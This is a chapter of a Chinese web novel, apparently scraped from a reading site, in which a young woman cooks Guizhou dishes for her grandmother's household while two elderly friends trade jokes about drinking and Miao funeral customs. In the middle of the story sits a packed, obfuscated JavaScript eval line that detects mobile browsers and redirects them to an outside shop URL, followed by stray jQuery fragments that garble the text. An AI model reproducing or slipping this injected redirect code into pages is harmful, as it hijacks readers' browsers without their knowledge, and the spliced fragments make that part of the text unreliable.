12. 带你出去旅游啊2

作品:《四季三餐小院里

    “龙肉,有吗?”


    章万玉板着脸,望着天,明显刁难人的语调。


    一般人甚至看不出老太太是在搞幽默。


    夏轻了然的“啊”了一声,当下给夏武阳发去条无厘头语音:“舅,婆想吃龙肉,航航放学了您送他来一趟。”


    今年14岁的夏航,是家里只此唯一的龙年小子。


    章万玉没反应过来,扭头看向孙女,眼神里是相当质疑的——有病吧?


    夏武阳却秒懂了,特别爽朗的说没问题,放学就送那小子来孝敬奶奶,还让夏轻自己看着动手。


    腰上那一圈脂肪厚,大腿肉有弹性,屁股肉敦实,他这个当爹的瞧着都不错!


    夏轻目标明确:“我选肩颈那一块,类比牛肉,怎么也得算个“牛嫩肩”,是不?”


    夏武阳爆笑:“必须的!”


    大抵是连着两天闹了不愉快,也或许是夏轻突然杀出来截胡,总而言之,全家都没晃过神。


    包括夏武阳在内。


    这语音一来一回的,把他聊开心了,晚上要过来吃饭!


    “多两副碗筷的事,备好下酒菜等你!”


    夏轻回完信息,默算夏航放学的时间。


    四舅去学校接了他,到家大概7点,还有两个小时可以准备。


    宽裕得很!


    章万玉那边也听明白了,不太高兴道:“叫那么多人来家里吃饭,也不嫌麻烦。”


    “人多热闹些,不是天天这样。”夏轻煞有其事的开涮老太太,“夏航不来,我怎么爆炒龙嫩肩?”


    章万玉努力抿着唇忍笑,终究是没忍住,嗤地破功。


    “还龙嫩肩,你是大半年没见到他了,这小子光长个,不长肉,学校里的伙食能好到哪里去……秦晴也是的,成天在外面瞎忙,问就是工作多,谁没工作?父子两回家连顿饭都吃不上,你别听你四舅说什么不带她来,其实是上午出了这个门,人就不知道跑哪儿去了!”


    这话夏轻可不敢随便接。


    自古以来,不管帝王将相家,还是寻常百姓家,婆媳关系都是一大难题。


    她不了解四舅家的具体情况,可她了解章万玉啊!


    既要又要还要什么都想要,却又什么都不敢要。


    所以你得猜。


    就算猜中了、把事儿做了,也不一定能讨她欢心。


    毕竟她对自己都是百般挑剔,各种不满意。


    做章万玉的儿媳妇,难度可想而知。


    这题夏轻不会做,庆幸也用不着她做。


    拿出新鲜的叶菜,抓一把独蒜头,连带着两只菜筐放到章万玉跟前——请她老人家打个下手。


    回家第二天,夏小厨要略作施展了!


    颜奶奶饭量小,喜欢吃炒菜,这一点和四舅是一样的。


    爆炒龙嫩肩是玩笑话,但回锅肉可以有一道。


    上午买的那条肥瘦均匀的五花肉分成巴掌长的段,冷水下锅,加料酒、花椒、姜片和一截大葱,开大火煮。


    水开后撇掉浮沫,不用盖盖子,也无需调火,继续煮到肉熟透,捞出来放凉备用。


    煮五花肉的水,当汤底是极好的。


    今晚炒菜多,难免油腻。


    昨天买的豌豆尖剩了一些,和口感绵密紧实的老豆腐煮成一锅,只用放些简单的调味料,就是一道清爽的汤品。


    冰箱里还有嫩茼蒿、切段的肋排、大约两斤的前夹肉和缸豆各一盒。


    超市买的,日期在昨天。


    全家只有三姨会考虑到外婆腿脚不方面,每次来时都会带些菜。


    所以说看人不能单看一面。


    三姨话密,谁都受不了她超长续航的碎碎念,却是心思细腻。


    但凡她想到了,便会竭尽所能的为你做到。


    天儿热,夏航正是干饭的年纪,夏轻打算把这些菜都做出来。


    糖醋排骨老少皆宜,大概没有人会不爱。


    夏轻做这道菜是不焯水的,肋排洗净,用平底锅热油煎炒。


    排骨受热,表面会迅速收缩,将水分缩在内部,以此确保口感不柴。


    炒至表面呈轻微焦黄,加水,倒入料酒、山西老陈醋,酱油和两块“小碗”红糖。


    一把细姜丝,能将陈醋的酸激发出来。


    飞机上送的一小包砂糖话梅,正好用来中和醋的酸味,不过要在收水前放。


    上午才熬的猪油,必须拿出来奢侈一把!


    今天的厨房暂时开除菜籽油了。


    嫩茼蒿淘洗干净,猪油爆香干豆豉、蒜末和干辣椒筒,茼蒿下锅爆炒,加适量油渣——这是点睛之笔!


    起锅前淋半勺基础款酱油,鲜味炸裂!


    云贵川饭桌上常见的香莴笋炒肉片,各家有各家的味道。


    夏轻的基础公式离不开葱姜蒜,还有辣椒这些调味料,区别在选用的比例多少。


    前夹肉切片后用少量酱油和淀粉腌渍起来,几分钟足够。


    同样是热油把姜和干辣椒筒炒出香味,先下肉片,再下莴笋片,翻炒均匀,起锅前一分钟放几瓣西红柿,起到提鲜的作用。


    接着炒回锅肉。


    这道菜至今没有全国统一标准,夏轻自己都能给出三四种解法。


    而当她在冰箱里发现半瓶糍粑辣椒,打开盖子的一瞬,扑鼻的酱香立刻让她决定了今天家里餐桌上的回锅肉是什么滋味。


    糍粑辣椒发源于明清时期,贵州的少数民族地区。


    为了适应潮湿的气候,当地人将多种辣椒用泉水泡软,和姜蒜一起入石臼,手工捣碎成茸,形成黏糯如糍粑的酱状,因此得名。


    这样做出来的辣酱,风味特别,天然具有防腐功能,便于长期保存,还能在存放过程中充分释放辣香,如同辣酱里的醇酒。


    放凉的五花肉切成薄片,下锅小火干煸出油,等到肉片呈“灯盏窝”状,就能装盘备用了。


    就着锅里的底油炒香姜和蒜,虽然糍粑辣椒里已经有这两种香辛料,但新鲜的和辣酱里的又有区别不同,对炒菜的整体味道亦有影响。


    加入适量糍粑辣椒,中火炒出香气,至油色变红,把五花肉倒回锅中翻炒,少量生抽和砂糖调味,一大把切段的蒜苗点缀增香。


    如此一盘回锅肉,香辣回甘,辣而不燥,属实是下饭圣品!


    再来一道烧烤茄子。


    把茄子整个放到空气炸锅里,表面刷油——这里允许菜籽油短暂返场。


    180度烤12分钟,8、9分钟翻个面。


    趁着茄子在空气炸锅里自我反应的功夫做个调料。


    要香就多蒜蓉,要辣嘛……


    老人家吃不了太辣,一个小米辣足够。


    选辣度最低的烧烤辣椒面,里面配好了花生碎和芝麻,拌上耗油、生抽,把茄子从中剖开,浇淋上去即可。


    黔地的菜,主在香,不在辣。


    但辣味是不可或缺的灵魂。


    作为土生土长的黔地儿女,夏轻努力把这一点辣味在菜色中运用发挥——致力于吃好喝好。


    刚过六点,颜奶奶拎着自酿米酒登场了。


    章万玉盛了一碗冰镇绿豆汤略作招待,特地留的,待会儿要来的孙子都没这待遇。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367323|199612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    颜秀玉的性格和她南辕北辙,主打一个今朝有酒今朝醉,不多想,不内耗。


    夏轻是相当支持外婆和颜奶奶一起玩儿的!


    绿豆汤正喝着,刘敏苏不放心的追着来,叮嘱婆婆妈少喝点,不能贪杯。


    她买了卤味给夏轻添个菜,入味儿的吊龙、大肠和猪耳朵。


    “我重新蒸过了,油辣椒也是配好的。”


    刘敏苏晚上还要加班,匆匆忙的来了,走时瞄到颜秀玉放在桌下的酒。


    足足两大瓶,1.5L的量!


    “拿那么多酒?!”她眼珠子差点瞪出来。


    这是喝了今天不再想明天了呀?!


    颜秀玉做贼心虚,都不敢跟媳妇对视:“什么那么多酒?明明是农夫山泉和娃哈哈。”


    包装上是,里面装的到底是什么,贪杯老太婆心里最清楚了。


    夏轻在厨房里备菜,听得笑出声来。


    “不行不行!这太多了,你喝不了那么多。”


    刘敏苏强行拎走了娃哈哈,因为相比之下,农夫山泉灌得没那么满。


    颜秀玉阻止无能,嗅着满院子的炒菜香,对章万玉直感遗憾:“你看你家小颖做那么多好菜,酒不能管够,太可惜了,你说是不是?”


    如果颜秀玉是放纵派老奶,那章万玉就是她的反面——究极克制型。


    但章万玉是有点冷幽默在身上的。


    对于老闺蜜贪酒的不良习性,不点破,不劝解,而是超绝不经意跟她泄露:“你还不知道吧,昨天半夜……”


    听到“昨天”,还“半夜”,颜秀玉眼睛都亮了!


    章万玉不慢不紧地:“童家姑娘来找颖颖。”


    原来是童家那个疯姑娘,颜秀玉撇嘴,耷拉肩。


    顿觉没劲!


    章万玉继续说:“买了好多酒,摆在厨房里,按箱计的。”


    颜秀玉拍大腿喊了声“天菩萨”,这就要到厨房去探个究竟。


    章万玉最后总结一般的说:“你敞开喝,想喝哪个喝哪个,你家媳妇来了,我帮你拦到起!”


    颜秀玉终于有所警惕:“这么好心?”


    她不信!


    章万玉故作神秘的坏笑起来,笑够了,幽幽道:“喝酒把自己喝没,也算死得其所了。你这个年纪肯定是喜丧啊,我要坐主桌吃你的酒。等杀了牛,肋条和牛舌就归我了。”


    颜秀玉是少数民族,按照寨子里的风俗,老人过世要“打戛”。


    他们相信牛是蚩尤的化身,是田间的劳力,节庆的主角,生者的信仰,逝者的坐骑。


    葬礼上“打戛”杀牛,以牛为媒介,引导亡魂回归到先祖之地。


    牛的身体则被分成若干部分,专程用来款待来客。


    为了自己终结的这一天,许多老人都会提前养上一头黄牛。


    颜秀玉所属的苗寨就在淮安的边上,开车十几分钟就到了。


    她的牛长得特别好,由寨子里的侄儿侄女帮着照顾,隔三差五的,没事她就用智能手机打视频看牛。


    不仅自己看,还给章万玉看。


    臭显摆!


    这次总算被逮着了!


    “肋条你拿走就算了,还想要我的灵舌?!”颜秀玉震惊于老姐妹的贪心。


    十二道苗味里,牛舌可是压轴的!


    “舍不得给?”章万玉只要她一句话。


    颜秀玉一脸为难的站在厨房门口,看看背对自己,在里面忙活的夏轻,又再看看摇椅上淡定的姐妹,突然开怀的笑了。


    “喜丧要八十岁,我跟你同岁,才七十七,还不够格!”